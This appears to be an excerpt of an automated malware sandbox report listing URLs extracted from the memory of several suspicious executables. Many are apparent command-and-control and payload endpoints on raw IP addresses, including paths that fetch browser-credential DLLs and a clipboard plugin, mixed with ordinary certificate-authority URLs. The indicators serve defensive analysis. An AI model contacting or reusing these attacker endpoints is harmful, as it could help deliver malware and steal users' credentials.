Source: ba327bb7fd.exe, 0000002C.00000003.3565791326.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3641905979.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3687806338.00000000010D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/add?substr=mixtwo&s=three&sub=emp
Source: ba327bb7fd.exe, 0000002C.00000003.3759673627.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3565791326.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3844130984.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3723694059.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3641905979.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3687806338.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3806507628.00000000010D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/add?substr=mixtwo&s=three&sub=emp$y
Source: ba327bb7fd.exe, 0000002C.00000003.3759673627.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3565791326.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3844130984.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3723694059.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3641905979.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3687806338.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3806507628.00000000010D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/add?substr=mixtwo&s=three&sub=emp5y
Source: ba327bb7fd.exe, 0000002C.00000003.3565791326.00000000010D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/add?substr=mixtwo&s=three&sub=empWy
Source: ba327bb7fd.exe, 0000002A.00000003.3843606989.0000000005578000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002A.00000003.3721931086.0000000005578000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3759673627.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3565791326.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3844130984.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3723694059.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3641905979.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3687806338.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3806507628.00000000010D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/dll/key
Source: ba327bb7fd.exe, 0000002C.00000003.3759673627.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3565791326.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3844130984.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3723694059.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3641905979.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3687806338.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3806507628.00000000010D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/dll/keySystem32
Source: ba327bb7fd.exe, 0000002A.00000003.3843606989.0000000005578000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002A.00000003.3721931086.0000000005578000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/dll/keyu
Source: ba327bb7fd.exe, 0000002C.00000003.3641905979.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3880125426.000000000593C000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3687806338.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3806507628.00000000010D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/download
Source: ba327bb7fd.exe, 0000002C.00000003.3641905979.00000000010D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/download23/add?substr=mixtwo&s=three&sub=empWy
Source: ba327bb7fd.exe, 0000002C.00000003.3759673627.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3844130984.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3723694059.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3641905979.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3687806338.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3806507628.00000000010D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/download23/files/download
Source: ba327bb7fd.exe, 0000002C.00000003.3806507628.00000000010D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/downloadata
Source: ba327bb7fd.exe, 0000002C.00000003.3844130984.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3806507628.00000000010D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/osoft
Source: ba327bb7fd.exe, 0000002A.00000003.3843606989.0000000005578000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002A.00000003.3721931086.0000000005578000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/y
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.0000000000874000.00000040.00000001.01000000.00000011.sdmp, 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008A5000.00000040.00000001.01000000.00000011.sdmp, 24adfe999c.exe, 0000001F.00000002.3895043155.0000000000957000.00000040.00000001.01000000.00000011.sdmp, 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008A5000.00000040.00000001.01000000.00000011.sdmp, 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008A5000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/2a8fc546179b7892afd351089f11c13
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/2a8fc546179b7892afd351089f11c13ny
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008A5000.00000040.00000001.01000000.00000011.sdmp, 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/e
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/hpser
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008A5000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008A5000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008A5000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllZxcvbnData
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllata
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllr
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllta
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dlltavbnData
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllvineCdm
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllvineCdmglteronhrome-extension_djclckkglechoo
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.0000000000874000.00000040.00000001.01000000.00000011.sdmp, 24adfe999c.exe, 0000001F.00000003.3693724192.0000000000DF9000.00000004.00000020.00020000.00000000.sdmp, 24adfe999c.exe, 0000001F.00000002.3895043155.0000000000957000.00000040.00000001.01000000.00000011.sdmp, 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 24adfe999c.exe, 0000001F.00000003.3693724192.0000000000DF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpOC
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.0000000000957000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpS
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.0000000000957000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpSystem
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phper
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.0000000000957000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpinit.exe
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.0000000000874000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.0000000000874000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpr
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.0000000000874000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.20668b591d6548ec281/sqlite3.dllm-data;
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.0000000000874000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206c4becf79229cb002.phpr
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206meemkbgci9cb002.phpser
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.0000000000874000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206oaming
Source: 24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://185.215.113.206ocal
Source: defnur.exe, 00000021.00000002.3894904425.00000000006B3000.00000004.00000020.00020000.00000000.sdmp, defnur.exe, 00000021.00000002.3894904425.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/
Source: defnur.exe, 00000021.00000002.3894904425.00000000006B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/Plugins/clip64.dll
Source: defnur.exe, 00000021.00000002.3894904425.00000000006B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/Plugins/clip64.dll3
Source: defnur.exe, 00000021.00000002.3894904425.00000000006B3000.00000004.00000020.00020000.00000000.sdmp, defnur.exe, 00000021.00000002.3894904425.00000000006C7000.00000004.00000020.00020000.00000000.sdmp, defnur.exe, 00000021.00000002.3894904425.0000000000647000.00000004.00000020.00020000.00000000.sdmp, defnur.exe, 00000021.00000002.3894904425.0000000000689000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000002B.00000002.3896527677.0000000002DD3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000002B.00000002.3896527677.0000000002D9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.php
Source: defnur.exe, 00000021.00000002.3894904425.00000000006B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.php1
Source: defnur.exe, 00000021.00000002.3894904425.00000000006B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.php2a2
Source: defnur.exe, 00000021.00000002.3894904425.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.php9/
Source: defnur.exe, 00000021.00000002.3894904425.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.phpded
Source: defnur.exe, 00000021.00000002.3894904425.00000000006B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.phpindows
Source: defnur.exe, 00000021.00000002.3894904425.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.phpl
Source: defnur.exe, 00000021.00000002.3894904425.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.phpl8
Source: defnur.exe, 00000021.00000002.3894904425.00000000006B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.phpm
Source: defnur.exe, 00000021.00000002.3894904425.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.phpncoded
Source: defnur.exe, 00000021.00000002.3894904425.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.phpncoded)
Source: defnur.exe, 00000021.00000002.3894904425.00000000006B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.phpnu
Source: defnur.exe, 00000021.00000002.3894904425.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.phpu
Source: defnur.exe, 00000021.00000002.3894904425.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.phpv1pd0GiQVLzgISoZ43f2XK=
Source: defnur.exe, 00000021.00000002.3894904425.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.phpy1mb3JtLXVybGVuY29kZWQ=
Source: defnur.exe, 00000021.00000002.3894904425.00000000006B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/OneDrive
Source: defnur.exe, 00000021.00000002.3894904425.00000000006B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/age.Streams.DataWriter
Source: legs.exe, 0000000C.00000003.2068291802.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3765313179.0000000001756000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: legs.exe, 0000000C.00000003.2068291802.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3765313179.0000000001756000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000D.00000002.2045149356.0000000001430000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe.4.dr, legs[1].exe.4.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: legs.exe, 0000000C.00000003.2068291802.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3765313179.0000000001756000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000D.00000002.2045149356.0000000001430000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe.4.dr, legs[1].exe.4.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000D.00000002.2045149356.0000000001430000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe.4.dr, legs[1].exe.4.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000D.00000002.2045149356.0000000001430000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe.4.dr, legs[1].exe.4.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000D.00000002.2045149356.0000000001430000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe.4.dr, legs[1].exe.4.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: legs.exe, 0000000C.00000003.2068291802.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3765313179.0000000001756000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: legs.exe, 0000000C.00000003.2068291802.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3765313179.0000000001756000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: legs.exe, 0000000C.00000003.2068291802.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3765313179.0000000001756000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: legs.exe, 0000000C.00000003.2068291802.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3765313179.0000000001756000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000D.00000002.2045149356.0000000001430000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe.4.dr, legs[1].exe.4.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000D.00000002.2045149356.0000000001430000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe.4.dr, legs[1].exe.4.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000D.00000002.2045149356.0000000001430000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe.4.dr, legs[1].exe.4.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000D.00000002.2045149356.0000000001430000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe.4.dr, legs[1].exe.4.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: SurveillanceWalls.exe, 00000010.00000002.2115804258.0000000000409000.00000002.00000001.01000000.0000000E.sdmp, SurveillanceWalls.exe, 00000010.00000000.2106284442.0000000000409000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000030.00000002.3691717709.00000143B542D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000D.00000002.2045149356.0000000001430000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe.4.dr, legs[1].exe.4.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: legs.exe, 0000000C.00000003.2068291802.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3765313179.0000000001756000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: legs.exe, 0000000C.00000003.2068291802.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3765313179.0000000001756000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000D.00000002.2045149356.0000000001430000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe.4.dr, legs[1].exe.4.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 00000030.00000002.3551855195.00000143A55E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000030.00000002.3551855195.00000143A55E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000030.00000002.3551855195.00000143A53C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000030.00000002.3551855195.00000143A55E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: defnur.exe, 00000021.00000002.3894904425.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://site.com/folder/exe.e
Source: defnur.exe, 00000021.00000002.3894904425.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://site.com/folder/exe.eV
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125705208.0000000001582000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2139064051.0000000001571000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125705208.0000000001582000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2139064051.0000000001571000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: goldddd123.exe, 0000000F.00000003.2125705208.0000000001582000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: Amcache.hve.38.dr	String found in binary or memory: http://upx.sf.net
Source: powershell.exe, 00000030.00000002.3551855195.00000143A55E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: SurveillanceWalls.exe, 00000010.00000002.2115831476.0000000000420000.00000004.00000001.01000000.0000000E.sdmp, Sale.com, 0000001B.00000002.3895273223.0000000000C75000.00000002.00000001.01000000.00000010.sdmp, Ejaculation.16.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: ba327bb7fd.exe, 00000020.00000003.3806250414.000000000591F000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 00000020.00000003.3807021512.00000000055E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: legs.exe, 0000000C.00000003.2068291802.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3765313179.0000000001756000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: legs.exe, 0000000C.00000003.2068291802.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3765313179.0000000001756000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: daw21.exe, 00000017.00000002.3041283471.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://135.181.65.216
Source: daw21.exe, 00000017.00000002.3041283471.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, daw21.exe, 00000017.00000002.3041283471.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://135.181.65.216/
Source: daw21.exe, 00000017.00000002.3041283471.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://135.181.65.216/K
Source: daw21.exe, 00000017.00000002.3041283471.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://135.181.65.216/o8
Source: daw21.exe, 00000017.00000002.3041283471.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://135.181.65.216/r
Source: daw21.exe, 00000017.00000002.3041283471.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://135.181.65.216K
